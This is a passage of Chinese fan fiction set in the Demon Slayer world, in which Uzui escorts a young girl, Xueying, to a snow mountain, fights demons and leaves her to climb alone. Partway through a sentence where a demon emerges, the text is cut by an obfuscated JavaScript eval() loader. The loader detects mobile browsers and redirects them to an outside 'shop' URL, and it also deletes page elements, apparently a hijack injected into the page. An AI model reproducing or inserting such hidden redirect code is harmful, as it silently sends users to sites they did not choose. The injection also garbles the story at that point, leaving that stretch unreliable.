“娘亲也是。要好好照顾弟弟妹妹。不要太累。” 天音点点头,眼泪落在雪萤的头发上。 “好。”她说,“娘亲等你。” —— 雪萤从她怀里退出来,退后两步,端端正正地跪下,给他们磕了一个头。 然后她站起来,转身。 “走吧,小公主。”宇髄伸出手。 雪萤握住他的手,回头最后看了一眼。 耀哉和天音并肩站着,望着她。 阳光从门口照进来,落在他们身上。 雪萤看着他们,看着这个她长大的地方,看着那扇她推开过无数次的门。 然后她转过头,跟着宇髄,走出了门。 —— 山路很长。 雪萤走了一会儿,就开始忍不住回头看。 来时的路越来越远,那个家的方向越来越模糊。 她的眼眶慢慢红了。 宇髄走在她旁边,低头看了她一眼。 “哟,小公主,想家了?” 雪萤抿着嘴唇,用力摇头。 可眼泪不争气地掉了下来。 宇髄叹了口气,蹲下来,从怀里掏出一块手帕,递给她。 “给。擦擦。” 雪萤接过手帕,擦了擦眼泪。 “我……我没哭。”她小声说。 宇髄笑了。 “对,没哭。就是眼睛里进沙子了。” 雪萤愣了一下,然后破涕为笑。 —— 他们继续往前走。 宇髄开始跟她说话,说东说西,说路上的风景,说他以前去过的地方,说各种乱七八糟的事。 “你知道吗,我以前去过一座山,那里的石头会唱歌。” 雪萤眨眨眼睛:“石头怎么会唱歌?” “风吹过石缝的时候,会发出各种声音。有的像唱歌,有的像吹笛子。”宇髄比划着,“有机会带你去看看。” 雪萤的眼睛亮了一下。 “真的吗?” “当然。我说话算话。” 雪萤笑了。 她发现,和天元哥哥在一起,好像没那么想家了。 —— 走了一会儿,雪萤忽然问: “天元哥哥,你为什么要加入鬼杀队呀?” 宇髄的脚步顿了一下。 他低下头,看着身边这个八岁的孩子。她仰着脸,眼睛亮亮的,里面是纯粹的好奇。 他想了想,开口说: “我以前是忍者。” 雪萤歪着头:“忍者?” “嗯。在一个忍者家族长大。”宇髄说,“那里的人,从小就被训练成工具。没有感情,没有自我,只有命令。” 雪萤听着,眼睛慢慢睁大了。 “那后来呢?” “后来我离开了。”宇髄说,嘴角勾起一个笑容,“还带着三个人一起走的。” “三个人?” “嗯。我的三个老婆。” —— 雪萤愣住了。 她站在原地,眼睛瞪得大大的,嘴巴微微张着,整个人像被定住了一样。 “三……三个?” 宇髄得意地扬了扬下巴:“对呀,三个。” 雪萤眨了眨眼睛,又眨了眨。 她想起爹爹和娘亲——爹爹只有娘亲一个人,娘亲也只有爹爹一个人。他们总是靠在一起,看着对方的时候,眼睛里有一种温柔的光。 那就是她心里“夫妻”的样子。 可是三个?她想象着耀哉被三个老婆包围的样子,哆嗦了一下,太可怕了。 “什么呀?”她脱口而出,小脸皱成一团,“原来天元哥哥是个花心大萝卜!” 宇髄的笑容僵在脸上。 “花……花心大萝卜?” “对啊!”雪萤叉着腰,仰着头看他,“爹爹只有一个娘亲!你居然有三个老婆!不是花心是什么?” 宇髄的脸抽搐了一下。 “小公主,你听我说,我可是非常专一的——” “专一?”雪萤打断他,眼睛瞪得圆圆的,“专一的人会娶三个老婆吗?” 宇髄深吸一口气,蹲下来,认真地解释: “我对她们每一个都是真心的!我把她们的命放在第一位!这还不够专一吗?” 雪萤歪着头想了想。 “那……你不累吗?” 宇髄愣住了。 “累?” “对啊。”雪萤掰着手指头算,“三个老婆,每个人都要陪,都要哄,都要照顾。还要打仗,还要送我去雪山……”她抬起头,一脸同情地看着他,“天元哥哥,你好可怜哦。” 宇髄石化了。 “我……我不可怜……” “将来你还要生一堆孩子吧?”雪萤继续补刀,“三个老婆,每个生三个……天元哥哥,你会有九个孩子!” 宇髄的嘴角抽搐得更厉害了。 “九个……” “到时候你要陪九个孩子玩,还要哄三个老婆开心,还要杀鬼……”雪萤摇摇头,叹了口气,“天元哥哥,你真的太累了。” 宇髄站在那里,整个人像被雷劈了一样。 他张了张嘴,想说什么,可什么都说不出来。 雪萤看着他那个样子,忍不住“噗嗤”一声笑了出来。 “天元哥哥,你现在的表情好好笑哦。” 宇髄回过神来,咬牙切齿地看着她。 “小公主,你这是在嘲笑我吗?” 雪萤赶紧捂住嘴,可眼睛笑得弯弯的。 “没有没有,我是在心疼天元哥哥。” 宇髄看着她那副憋笑的样子,忽然也笑了。 他伸出手,用力揉了揉她的头。 “小丫头,懂得还挺多。” 雪萤被他揉得头发乱糟糟的,一边躲一边笑。 两个人闹了一阵,又继续往前走。 —— “天元哥哥,”走了一会儿,雪萤忽然问,“那你是怎么遇到她们的呀?” 宇髄的脚步顿了一下。 他低头看着身边这个小丫头——她仰着脸,眼睛亮晶晶的,里面全是好奇。 那双眼睛,蓝紫色的,像两汪清澈的泉水,又像藏着星星的夜空。睫毛长长的,微微翘着,随着她眨眼的动作轻轻颤动。她就那样看着他,一脸期待,一脸天真,一脸“我想听你快说嘛”的渴望。 宇髄看着那双眼睛,忽然有点说不出话来。 “喂,”他忍不住说,“这不是一个八岁女孩应该知道的事情!” 雪萤眨眨眼睛。 “为什么?” “因为……因为这是情感秘密!”宇髄板起脸,“不能说给你听。” 雪萤的嘴巴微微瘪了一下。 她抬起头,用那双蓝紫色的眼睛看着他,睫毛轻轻颤着,眼睛里像是盛着一汪水,亮晶晶的,水汪汪的,里面写满了“可是我想听嘛”。 她就那样看着他,也不说话,就那么看着。 宇髄的嘴角抽搐了一下。 “喂喂,这个眼神……” 他捂着自己的心口,往后退了一步。 “也太犯规了吧!” 雪萤歪着头,一脸无辜。 “什么眼神呀?我就是想听嘛。” 宇髄看着她,忍不住在心里感叹—— 这小妮儿幸好还是个小姑娘。 等她长大了,这双眼睛,配上那张越来越好看的脸,有几个男孩子能扛得住? 那双眼睛,蓝紫色的,像傍晚的天空,像深山里的湖水。可又比天空更亮,比湖水更深。笑起来的时候弯成两道月牙,能让人心里软成一团。认真看着你的时候,又像是能把你的心思都看透。 他忽然有点同情那个将来会被这双眼睛盯着看的倒霉蛋了。 —— “天元哥哥?”雪萤见他不说话,又喊了一声。 宇髄回过神来。 他清了清嗓子,摆出一副高深莫测的样子。 “这个嘛——” 雪萤的眼睛又亮了起来。 宇髄看着她那副期待的样子,忍不住笑了。 “等你长大了。”他说,伸出手点了点她的额头,“等你遇到情感波折了,我再告诉你。” 雪萤捂住额头,嘴巴又瘪了起来。 “又是长大了……爹爹也这么说,你也这么说……” 宇髄哈哈大笑。 “因为你现在还小嘛。”他揉了揉她的头,“等你长大了,你就明白了。” 雪萤嘟着嘴,一脸不高兴。 可她也没有再追问。 只是小声嘟囔了一句:“那你要记得哦。” 宇髄笑了。 “好。我记得。” —— 笑闹过后,宇髄的声音变得认真了一些。 “离开家族之后,我遇到了你爹爹。” 雪萤的眼睛亮了一下。 “主公大人?” “嗯。”宇髄说,声音里有一种不一样的东西,“他看见我的时候,没有问我从哪里来,没有问我做过什么。他只是看着我说——” 他顿了顿,模仿着耀哉的语气: “‘你在战场上守护他人的道路,是对的。谢谢你。你是个了不起的孩子。’” 雪萤听着,眼眶忽然有些热。 她想起爹爹每次对她说话的样子。想起他那种温柔得让人想哭的声音。 “然后我就留下来了。”宇髄说,低头看着雪萤,“一辈子跟着他。” 他没有说那些沉痛的事。没有说忍者家族的残酷,没有说那些被迫杀人的日子,没有说离开时的九死一生。 可雪萤从他眼睛里,看到了一点东西。 那是感激。 是敬重。 是愿意把命交给那个人的决心。 —— “父亲大人就是这样一个,”雪萤轻轻说,“带给别人力量和信念的人啊。” 宇髄低头看着她。 “我也要成为这样的人。”雪萤抬起头,眼睛亮亮的,“像父亲大人那样。” 宇髄愣了一下。 然后他笑了。 “好。”他说,“小公主一定会成为那样的人的。” —— 他们继续往前走。 山路越来越偏,周围的林子越来越密。雪萤专心致志地跟着宇髄的脚步,一步一步往前走。 忽然,宇髄停了下来。 雪萤差点撞上他的背。 “天元哥哥?” 宇髄没有回答。 他站在那里,一动不动,像一尊雕像。 雪萤愣了一下,然后她感觉到了—— 四周安静得可怕。 刚才还有鸟叫声,有风吹过树叶的沙沙声。可现在,什么都没有了。安静得像坟场。 一股腐烂的甜腥味,从林子深处飘过来。 雪萤的呼吸一下子屏住了。 她记得这个味道。 藤袭山上,那个鬼身上的味道。 林子里,有什么东西在动。 不是走,是蠕动。像蛇一样,贴着地面,一点一点滑过来。 然后,一个诡异的身影从树影里探出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444151|201074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 那是一只鬼。 它没有站立。它的身体像一条巨大的蜈蚣,一节一节,长长的,在地上蜿蜒爬行。每一节身体上都长着两只惨白的人手,手指细长,指甲漆黑,在落叶上无声地划过。 它的上半身却是一个人的形状。苍白的躯干,细长的脖子,顶着一颗女人的头。那头很大,五官扭曲着,嘴巴咧到耳根,里面是密密麻麻的尖牙。没有头发,头皮光秃秃的,泛着青灰色的光。 它的眼睛有六只。三只长在左边,三只长在右边,排列得整整齐齐,像两串发光的珠子。 它看见他们了。 那六只眼睛同时转动,一起盯着雪萤。 “孩……子……”它的声音尖细刺耳,像指甲刮过木板,“漂亮……的孩子……” 它的身体开始蠕动,一节一节,朝他们滑过来。那些惨白的人手在地上交替着爬动,像无数只脚在蠕动。 口水从它咧开的嘴里流下来,黏糊糊的,滴在地上,拖出一条长长的、发着光的黏液痕迹。 —— 宇髄动了。 他一步跨到雪萤身前,把她挡在身后。 “小公主,”他的声音很平静,可那平静里,有一种让人安心的东西,“待着别动。” 雪萤没有动。 她看着他的背影。 看着他的手下意识地按上刀柄。 看着他的身体微微下沉,进入战斗的姿态。 —— 那只鬼爬过来了。 越来越近。 那六只血红的眼睛死死盯着雪萤,嘴里的口水流得更凶了。 宇髄的嘴角勾起一个冷笑。 “六只眼睛,”他说,“可惜,还是看不见自己的死期。” 话音刚落,他消失了。 不是跑,是瞬移。 雪萤只看见一道残影掠过,他就已经到了那只鬼的面前。 那只鬼的六只眼睛同时睁大。 太快了。 快得它根本来不及反应。 —— “音之呼吸——” 宇髄的声音低沉,像从胸腔里震出来的轰鸣。 刀出鞘。 那一瞬间,雪萤看见了。 他的刀身上,缠绕着肉眼可见的震动。空气在他刀周围扭曲着,发出细微的嗡嗡声,像无数只蜜蜂在振翅。 “壹之型·轰!” 刀落。 不是斩,是劈。 刀身砸向地面,就在那只鬼的身下。 —— 轰——! 巨大的爆炸声震得雪萤耳朵嗡嗡作响。 地面裂开了。碎石飞溅,尘土飞扬,强大的冲击波以宇髄为中心向四周扩散。雪萤的头发被强风吹得向后飞扬,衣袍猎猎作响。 那只鬼被冲击波掀飞起来,长长的身体在空中扭曲着,发出尖锐的惨叫。 它落在地上,挣扎着想跑。 可它的身体已经裂开了。 从头开始,到身体,一节一节,像被震碎的蜈蚣,碎成无数块。 那些碎块还在扭动,还在挣扎,可很快就开始变成灰烬,飘散在风里。 —— 风停了。 灰烬散尽。 宇髄收刀入鞘,转过身来。 雪萤站在那里,呆呆地看着他。 她的头发被风吹乱了,眼睛睁得大大的,嘴巴微微张着。 她看着他。 看着他刚才那双锐利得吓人的眼睛。看着他绷紧的肌肉。看着他挥出的那一刀。看着那只鬼在他刀下灰飞烟灭。 那一刻,她觉得他好帅气。 不是爹爹那种温柔的帅气。是另一种——像火焰一样燃烧的、让人移不开眼睛的帅气。 —— 宇髄看见她那副呆样,嘴角勾起一个得意的笑容。 “怎么了小丫头,”他双手抱胸,酷酷地站着,“被我迷住了?” 雪萤愣了一下,还没来得及回答。 宇髄伸出一根手指,轻轻点在额头上,微微仰起下巴,摆出一个深沉的姿势。 “不过很烦恼呢,哥哥我已经有三个老婆了。”他叹了口气,一副苦恼的样子,“太受欢迎,也是一种烦恼啊——” 话音刚落,他的牙齿闪了一下。 真的闪了一下。 像被阳光照到的钻石,发出“叮”的一道光。 —— 雪萤看着他那副样子,整个人都石化了。 她眨了眨眼睛,又眨了眨。 然后她的嘴角抽搐了一下。 “呃……” 她忽然觉得,刚才那个觉得他帅气的自己,真是太天真了。 什么火焰一样燃烧的帅气,分明是火焰一样燃烧的自恋。 她默默地收回目光,在心里叹了口气。 果然,她还是喜欢爹爹那样的。 温柔的,安静的,不用牙齿闪光的。 —— 宇髄保持着那个姿势,等了一会儿,没等到预想中的崇拜。 他低头一看,雪萤正用一种微妙的眼神看着他。 那眼神里,有无奈,有嫌弃,还有一种“这人没救了”的同情。 “小公主?”他放下手,“你那是什么眼神?” 雪萤摇摇头,叹了口气。 “没什么,天元哥哥。”她说,“我们继续走吧。” 她率先往前走去。 宇髄愣在原地,看着她小小的背影。 “喂,小公主,你那声叹气是什么意思?” 雪萤头也不回。 “没什么意思呀。” “骗人!你明明就是——” “天元哥哥,你再不走我就自己走啦。” 宇髄噎住了。 他恨恨地跺了跺脚,追了上去。 —— 两个人一前一后,走在山路上。 雪萤走了一会儿,忽然说: “天元哥哥。” “嗯?” “刚才杀鬼的时候,真的很帅气。” 宇髄的眼睛亮了一下。 “真的吗?” “真的。”雪萤点点头,“不过后来嘛……” 她顿了顿,没有说下去。 宇髄的脸抽搐了一下。 “后来怎么了?” 雪萤回过头,冲他笑了笑。 “没什么。” 然后她转回头,继续往前走。 宇髄站在原地,看着她小小的背影,忽然也笑了。 “小丫头,”他小声说,“等你长大了,肯定也是个了不得的。” 他快步追上去,伸出手,揉了揉她的头。 雪萤被揉得头发乱糟糟的,一边躲一边笑。 笑声在山路上飘散。 身后,那只鬼的灰烬早已被风吹散,什么都没有留下。 可雪萤心里,有什么东西被点燃了。 那是渴望。 是决心。 是想要变强的、熊熊燃烧的光。 —— 走了几步,她忽然说: “天元哥哥,我以后也会那么厉害的。” 宇髄低头看着她。 那个八岁的孩子,眼睛里有一种光。 那光,和他当年看着主公的时候,一模一样。 他忍不住又笑了。 “会的。”他说,“小公主一定会。” 12. 接下来的路自己走 这些天他们在赶路。 这三天里,他们遇见了四只鬼。 --- 第二只鬼出现在第一天的夜里。 那天傍晚,他们在一座废弃的寺庙里落脚。寺庙破旧不堪,屋顶塌了一半,佛像东倒西歪,地上积着厚厚的灰尘。宇髄在角落里清理出一块干净的地方,让雪萤坐下休息。 “今晚就在这里过夜吧。”他说,一边解下腰间的刀放在手边,“明天一早再赶路。” 雪萤点点头,蜷起身子,把小包袱抱在怀里。 夜深了。 月光从破漏的屋顶漏进来,在地上投下斑驳的影子。雪萤迷迷糊糊地快要睡着的时候,忽然听见一个声音。 沙。沙。沙。 像什么东西在地上拖行。 她睁开眼睛,循声望去。 月光里,一个细长的影子从佛像后面探出来。 那是一只鬼。 瘦得像一根竹竿,浑身灰白,皮包着骨头。它的头很小,眼睛却大得出奇,几乎占了半张脸。最可怕的是它的手臂——从肩膀开始,越来越长,越来越长,一直拖到地上,比它的身体还长两倍。 那两只手在地上拖着,指甲漆黑,又长又尖,像两把镰刀。 它从阴影里滑出来,歪着头,那双巨大的眼睛盯着他们。 宇髄不知什么时候已经站了起来。 他挡在雪萤身前,一只手按在刀柄上,另一只手朝后摆了摆。 “小公主,”他的声音很轻,可那轻里有一种让人安心的东西,“别看。” 雪萤没有闭眼。 她看着他的背影。 月光下,那个背影高大挺拔,像一座山。 那只鬼动了。 它的长臂猛地挥过来,速度快得惊人,黑色的指甲在空中划出一道残影。 宇髄没有拔刀。 他只是侧身,轻轻巧巧地躲过了那一击。然后他迈步向前,一拳砸在鬼的胸口。 “砰——!” 那只鬼像破布一样飞了出去,撞断了三根柱子,嵌进墙里。 它挣扎着想爬起来,可宇髄已经站在它面前了。 他低头看着它,月光落在他的侧脸上,那线条硬朗得像雕刻出来的。 “想吃?”他开口,声音低沉,像从胸腔里震出来的轰鸣,“做梦。” 话音刚落,他一拳轰下。 拳头砸在鬼的脑袋上,把它整个头颅都砸进了墙里。那鬼连惨叫都来不及发出,身体就开始崩解,变成灰烬,飘散在月光里。 宇髄转过身,走回雪萤身边。 他身上沾着一点灰尘,可那笑容又回来了。 “小公主,没事吧?” 雪萤看着他,看着他月光下那张棱角分明的脸,看着他微微扬起的嘴角,看着他眼睛里那一点得意的光。他像刀锋一样锐利的帅。 “没事。”她小声说。 宇髄点点头,在她身边坐下。 “睡吧。”他说,“我守着。” 雪萤躺下来,蜷起身子。 第三只鬼出现在第二天下午。 他们正在一条河边休息。雪萤蹲在岸边,用双手捧起水喝。河水清冽,带着一点山间的甜味。 忽然,宇髄站起来,把她拉到身后。 雪萤还没来得及反应,就看见河面破开了。 一个巨大的身影从水里冲出来,带起漫天的水花。 它长得像一只巨大的蟾蜍,浑身青绿色,皮肤上布满大大小小的疙瘩。那些疙瘩还在蠕动,像里面有什么东西要钻出来。它的嘴很大,张开的时候几乎能把整个人吞下去。一条又长又黏的舌头从嘴里伸出来,在空中甩动着,发出“啪嗒啪嗒”的声音。 它盯着雪萤,舌头甩得更快了。 “孩子……嫩的……香的……” 宇髄的嘴角勾起一个冷笑。 “你舌头挺长啊。” 话音刚落,他拔刀了。 “音之呼吸——壹之型·轰!” 刀落。 轰——! 巨大的爆炸声震得雪萤耳朵嗡嗡响。河水被炸上了天,像一道水柱冲起。那只蟾蜍鬼被炸得飞了起来,在半空中就碎成了无数块。 水柱落下,像下雨一样淋在两个人身上。 宇髄收刀入鞘,转过头看着雪萤。 他浑身湿透了,头发贴在脸上,衣服滴着水。可冲她扬了扬下巴。 “怎么样,华丽吧?” 雪萤看着他那个落汤鸡的样子,忍不住笑了。 “华丽。” 宇髄满意地点点头。 然后他打了个喷嚏。 第三只鬼出现在第三天的夜里。 那天晚上,他们在一个大树洞里过夜。树洞不大,刚好能容下两个人挤在一起。宇髄让她靠在里面,自己坐在洞口。 夜深了。 雪萤快要睡着的时候,忽然感觉到有什么东西在看着自己。 她睁开眼睛,就看见洞口有两只眼睛。 发着绿光的眼睛。 那两只眼睛就贴在树洞边缘,一动不动地盯着她。眼睛下面是黑漆漆的一团,看不清形状。 “天元哥哥……”她小声喊。 宇髄早就醒了。 他轻轻按住她的手,示意她别动。 然后他慢慢站起来,一步,一步,走向洞口。 那两只眼睛的主人似乎感觉到了危险,想跑。 可它太慢了。 宇髄的手伸出去,一把掐住了它的脖子。 他把它从树洞里拎出来,扔在地上。 月光下,雪萤看清了它的样子。 那是一只很小的鬼。 真的小,像一个刚出生的婴儿。身体蜷缩着,四肢又短又细。可它的头很大,几乎占了身体的一半。嘴巴不停地张合着,露出里面几颗细细的尖牙。 最可怕的是它的眼睛。 那两只眼睛,和它小小的身体完全不成比例,又大又圆,几乎占满了半张脸。眼睛里面写满了贪婪,写满了渴望,写满了对食物的疯狂渴望。 它被宇髄摔在地上,却还是盯着雪萤看。 用那双大眼睛,死死地盯着她看。 宇髄低头看着它。 月光落在他的脸上,那双平时总是笑眯眯的眼睛,此刻冷得像冰。 “你这种,”他开口,声音很低,“最让人恶心。” 他拔刀。 一刀。 那只小鬼裂成了两半,然后化成灰烬。 宇髄转过身,走回树洞。 他在雪萤身边坐下,沉默了一会儿。 然后他伸出手,轻轻揉了揉她的头。 “睡吧。”他说,“没事了。” 雪萤看着他,看着月光下他脸上的阴影,看着他紧抿着的嘴唇。 每一次,宇髄都把雪萤护在身后。每一次,他的刀都又快又准。每一次,那些鬼都在他手下灰飞烟灭。 雪萤看着,看着,心里那团火越烧越旺。 她还是怕。 每次闻到那股腐烂的甜腥味,她的心还是会揪紧,手脚还是会发凉。可她不会再像三年前那样,僵在原地,什么都做不了。 她站在那里,看着宇髄的背影,在心里一遍一遍地记着。 记着他的动作,他的姿态,他的眼神。 总有一天,她也要那样。 每一次,宇髄都把雪萤护在身后。每一次,他的刀都又快又准。每一次,那些鬼都在他手下灰飞烟灭。 第七天的傍晚,他们终于到了。 雪萤停下脚步,抬起头,望着眼前那座山。 那是一整座雪山。 高耸入云,看不见顶。山腰以上全都隐没在灰白的云雾里,像是被天空吞没了。山体陡峭,覆盖着终年不化的积雪,在夕阳的余晖里泛着淡淡的金色。 风从山上吹下来,带着刺骨的寒意。那风不像普通的寒风,像是能钻进骨头里,把血液都冻住。雪萤打了个寒战,却忍不住一直望着那座山。 它太高了。 太冷了。 也太……美了。 美得像不属于人间的东西。 “天岭山。”她轻声说。 宇髄低头看她。 “什么?” “这座山的名字。”雪萤说,“老师说过,叫天岭山。意思是,爬上去,就能摸到天。” 宇髄抬起头,望着那座高耸入云的山峰,嘴角抽搐了一下。 “摸到天?”他嘀咕了一声,“我看是摸到阎王爷吧。” 雪萤忍不住笑了。 —— 她转过身,看着宇髄。 “天元哥哥,可以了。” 宇髄愣了一下。 “什么可以了?” “到这里就可以了。”雪萤说,她澄澈的眼神在雪上的映照下显出圣洁的光,语气坚定,“接下来我自己走。” 宇髄的眼睛瞪大了。 “自己走?” “嗯。”雪萤点点头,“老师说过,让我自己翻过这座山,找到她。” 宇髄愣住了。 他抬起头,看了看那座山——高耸入云,风雪交加,陡峭得连路都看不见。他又低下头,看了看面前这个八岁的孩子——小小的,软软的,穿着天音做的小袄,站在雪地里,还没有他的腰高。 “不是吧?”他脱口而出,“让一个八岁的女孩子翻过这座山?” 雪萤仰着脸看他。 “这是老师对我的考验呀。”她说,“她说了,不会因为我是主公的女儿就放水。我要通过考核才行。” 宇髄的嘴角抽搐得更厉害了。 “考验?这哪是考验,这是要命吧?” 雪萤抿着嘴唇,认真地看着他。 “天元哥哥,你那是什么眼神?” 宇髄正用一种“这孩子是不是傻”的眼神看着她。 雪萤咬了咬牙。 “我可是跟着炼狱杏寿郎哥哥一起训练过的人!” 宇髄愣了一下。 “杏寿郎?那个炎柱家的小子?” “嗯!”雪萤用力点头,“前段时间,我没有荒废时间。爹爹给我请了老师,教我体能训练。老师说,想要拜师,先要爬山。” 她想起那段日子。 每天天不亮就要起床,背着沉重的沙袋绕着院子跑,一圈一圈,跑到腿都抬不起来。每天都要做几百个深蹲,几百个俯卧撑,做到浑身酸痛,躺在床上连翻身都翻不了。 可她没有喊过累。 因为她知道,她在准备。 准备来爬这座山。 —— 在那段训练的日子里,她认识了杏寿郎。 那段日子,她每天早上都会在训练场见到他。 那是一个金红色头发的少年。 他的头发不像普通的红色,而是像燃烧的火焰,在阳光下闪闪发光。眉毛又粗又浓,眼睛很大,炯炯有神,像是永远在盯着什么目标。他的脸棱角分明,下巴微微扬起,不管什么时候都挺着胸,腰板挺得笔直。 他站在训练场中央,双手握着竹刀。 一下。 两下。 三下。 每一次挥刀,他都会喊出声。 “嘿——!” “哈——!” “噫——!” 那声音洪亮极了,像是要把屋顶都震破。喊完之后,他会深吸一口气,然后又继续挥刀。 一千下。 两千下。 三千下。 他从来不数,可雪萤替他数过。 有一天,她终于忍不住走过去。 “你不累吗?” 杏寿郎停下动作,转过头看着她。 他的眼睛更亮了。 “累!”他大声说,那声音震得雪萤耳朵嗡嗡响,“但是不累的话,就变强不了!” 雪萤眨了眨眼睛。 “你为什么要这么努力?” 杏寿郎看着她,认真地回答: “因为我要成为炎柱!” 雪萤愣住了。 “炎柱?” “对!”他用力点头,“我要继承父亲的意志,保护更多的人!” 她听说过他父亲的事。 炼狱槙寿郎,曾经的炎柱。妻子去世后,他一蹶不振,整天喝酒消沉,再也没碰过刀。 可杏寿郎没有。 他看着父亲的样子,没有埋怨,没有失望,没有放弃。他只是每天来这里,一下一下地挥刀,一天一天地练习。 “你父亲他……”雪萤小心翼翼地开口,“你不怪他吗?” 杏寿郎笑了。 那笑容,像阳光一样灿烂。 “父亲有他自己的路。”他说,“我有我的。” 雪萤看着他,忽然说不出话来。 那个少年站在阳光里,金红色的头发闪闪发光,眼睛里燃着熊熊的火焰。他刚刚挥了三千下刀,额头上还挂着汗珠,可他的背挺得那么直,像是天塌下来也不会弯。 她忽然觉得,自己好像也可以。 --- 有一次,她背着沙袋跑步,跑到第十圈的时候,腿软得像面条一样。 她咬着牙,一步一步往前挪。 可挪到第十五圈的时候,她实在跑不动了。 她弯下腰,双手撑在膝盖上,大口大口地喘气。汗水从额头滴下来,在地上晕开一小片深色的痕迹。她的腿在抖,手在抖,全身都在抖。 “雪萤!” 一个洪亮的声音从旁边传来。 她抬起头,看见杏寿郎大步走过来。 阳光从他身后照过来,给他的轮廓镀上了一层金色的光。他站在她面前,低头看着她。 那双眼睛亮得惊人。 “累吗?” 雪萤点点头,喘得说不出话。 杏寿郎笑了。 “累就对了!”< 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她伸出自己的小拳头,和他的拳头碰在一起。 “我能行!”她喊。 声音带着少女的坚定,那里面有光。 杏寿郎满意地点点头。 “很好!”他说,“继续跑!” 他转身走了,大步流星,留下一个火焰般的背影。 雪萤看着那个背影,忽然觉得腿好像没那么抖了。 她深吸一口气,又跑了起来。 --- 训练结束后,他们偶尔会一起吃饭。 杏寿郎吃饭的样子,让她印象很深。 他坐在那里,腰板挺得笔直,面前摆着一碗饭,一盘菜,一碗汤。他的眼睛盯着那碗饭,像是在盯着什么重要的东西。 然后他双手合十,闭上眼睛,认真地念: “我开动了。” 那声音虔诚极了,像是在对神明说话。 念完之后,他才拿起筷子。 他吃得很认真。每一口都嚼得很仔细,嚼二十下,咽下去,再夹下一口。他的眼睛盯着碗里的饭,表情专注得像个正在做学问的学者。 雪萤看着他那副样子,忍不住问: “杏寿郎哥哥,你吃饭为什么也这么认真?” 杏寿郎抬起头,看着她。 那双眼睛里,满是认真。 “因为食物是生命!” 他放下筷子,双手比划着,像是在给她讲解什么重要的道理。 “为了让我们活下去,那些米、那些菜、那些鱼,献出了它们的生命。不好好吃饭,就对不起它们!” 他的声音洪亮,震得旁边树上的鸟都飞走了。 雪萤愣住了。 她低头看着自己碗里的饭。 一粒一粒的米,白白胖胖的,冒着热气。 它们献出了生命? 她忽然觉得,手里的筷子变重了。 从那以后,她也学着他的样子,双手合十,认真地念“我开动了”。 然后一口一口,认真地吃。 --- 杏寿太郎的影子,一直在她心里。 那个像火焰一样的少年,用自己的方式,告诉她什么是坚持,什么是努力,什么是——想要变强的心。 所以现在,她站在天岭山脚下,对宇髄说: “才不会输给大家。” --- 她开始装备自己。 先把小包袱紧了紧,又把天音做的棉袄领口系好。然后从包袱里拿出一根绳子,蹲下来,把左边的袖口扎紧。绳子绕了两圈,她用力一拉,打了个结。然后又拿起另一根,把右边的袖口也扎紧。 接着是裤脚。 她坐在地上,把左腿抬起来,熟练地扎好。然后又换右腿,同样熟练。 最后,她拿出一条厚厚的围巾,在脖子上绕了两圈。绕完第一圈的时候,她调整了一下位置,把下巴也包进去。第二圈绕完,她抬起头,整张脸只剩下那双蓝紫色的眼睛露在外面。 她站起来,跺了跺脚,检查了一下有没有哪里没扎好。 动作熟练极了,像是做过几百遍一样。 宇髄看着,眼里闪过一丝欣慰。 这小丫头,真的准备好了。 他蹲下来,和她平视。 阳光落在他脸上,那双平时俊逸的眼睛,此刻认真地望着她。 “小公主。” 雪萤看着他。 “接下来的路,要靠你自己了。” 雪萤点点头。 “我会的。” 宇髄伸出手,像大人一样,郑重地拍了拍她的肩膀。 “等你学成了,”他说,“哥哥我请客!想吃什么吃什么!” 他顿了顿,眼睛又弯起来,露出那个标志性的张扬笑容。 “你要加油啊!” 话音刚落,他的牙齿闪了一下。 真的闪了一下。 像被阳光照到的钻石,发出“叮”的一道光。 —— 雪萤看着那闪光的牙齿,忍不住笑了。 那双露在围巾外面的眼睛,弯成了两道月牙。 “天元哥哥,你的牙齿好亮。” 宇髄得意地扬了扬下巴。 “那当然。华丽吧?” 雪萤点点头。 “华丽。” 宇髄笑了。 “行了,走吧。”他站起来,“再不走,天就黑了。” 雪萤转过身,面向那座雪山。 风从山上吹下来,带着刺骨的寒意。她的衣摆被风吹得猎猎作响,可她站在那里,一动不动。 她深吸一口气。 然后她迈出了第一步。 一步。两步。三步。 她没有回头。 因为她知道,天元哥哥一定在看着她。 —— 风雪迎面扑来,打在脸上,生疼。 雪萤眯着眼睛,一步一步往前走。 身后的脚印,很快就被风雪淹没了。 可她没有停。 因为她知道,山顶上,有人在等她。 还有,家里也有很多人,在等她回去。 —— 宇髄站在原地,看着她小小的身影,一点一点消失在风雪里。 那个身影那么小,那么弱,可走得那么稳。 一步都不停。 他忽然想起她刚才说的那句话。 “才不会输给大家。” 他笑了。 “小丫头,”他轻声说,“你一定会成为柱的。” 风呼啸着,把他的声音吹散。 他最后看了一眼那个方向,然后转过身,消失在了原地。 13. 想和他一起看 天岭山的雪,比她想象中更冷。 不是那种能用手套和围巾挡住的冷。是钻进骨头缝里的冷,是冻得血液都快要凝固的冷。雪萤每走一步,都能听见自己的呼吸在围巾里结成冰碴的声音。那些冰碴挂在睫毛上,挂在围巾的边缘,随着她的呼吸一颤一颤的,像是给她的脸镶了一圈白色的边。 她不知道爬了多久。 第一天,她还能看见脚下的路。那些被积雪覆盖的岩石,那些偶尔露出的枯树,都是她前进的方向。她一步一步往上爬,数着自己的脚步,告诉自己:再走一百步就休息。 一百步。又一百步。再一百步。 她给自己定下的规矩是:走一百步,可以停下来喘十口气。喘完十口气,必须继续走。 可是走到后来,一百步越来越难。腿像灌了铅一样沉,每抬一次都要用尽全身的力气。她开始作弊:走五十步就停下来喘气,喘完假装自己走了一百步。可骗得了自己,骗不了脚下的路。那座山还是那么高,那么远,怎么走都走不到头。 第二天,风雪来了。 